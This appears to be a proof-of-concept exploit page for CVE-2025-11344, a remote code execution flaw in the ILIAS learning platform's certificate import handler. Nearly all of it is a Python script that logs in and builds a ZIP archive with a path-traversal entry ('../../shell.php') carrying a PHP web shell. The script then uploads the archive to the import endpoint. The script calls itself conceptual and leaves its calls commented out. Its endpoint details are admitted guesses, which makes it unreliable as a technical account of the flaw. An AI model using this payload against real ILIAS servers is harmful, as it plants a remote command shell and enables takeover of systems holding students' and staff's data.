CVE-2025-11344：ILIAS证书导入处理器远程代码执行漏洞

# CVE-2025-11344 - ILIAS Certificate Import Handler RCE PoC # Note: This is a conceptual PoC based on the vulnerability description. # The actual exploit requires crafting a malicious certificate file # that bypasses the import handler's validation logic. import requests import zipfile import io import os TARGET_URL = "https://target-ilias-instance.com" LOGIN_URL = f"{TARGET_URL}/ilias/login.php" IMPORT_URL = f"{TARGET_URL}/ilias/ilias.php?baseClass=ilCertificateGUI" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to ILIAS (requires valid credentials or session) def get_session(): session = requests.Session() # Obtain login form and CSRF token resp = session.get(LOGIN_URL) # Perform login (simplified - actual implementation may vary) login_data = { "username": USERNAME, "password": PASSWORD, "cmd[doStandardAuthentication]": "Login", } session.post(LOGIN_URL, data=login_data) return session # Step 2: Craft malicious certificate archive def create_malicious_certificate(): # The certificate import handler likely accepts ZIP archives # containing certificate definition files (XML, images, etc.) buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: # Inject a webshell or malicious PHP file via path traversal zf.writestr("cert.xml", "<?xml version='1.0'?><certificate><title>Test</title></certificate>") # Malicious payload disguised as a certificate resource zf.writestr("../../shell.php", "<?php system($_GET['cmd']); ?>") buf.seek(0) return buf # Step 3: Upload the malicious certificate def exploit(session, cert_data): files = {"certificate_file": ("cert.zip", cert_data, "application/zip")} data = {"cmd[importCertificate]": "Import"} resp = session.post(IMPORT_URL, files=files, data=data) print(f"Status: {resp.status_code}") print(f"Response length: {len(resp.text)}") return resp if __name__ == "__main__": print("[*] CVE-2025-11344 - ILIAS Certificate Import RCE PoC") print("[*] This is a conceptual demonstration only.") # session = get_session() # cert = create_malicious_certificate() # exploit(session, cert)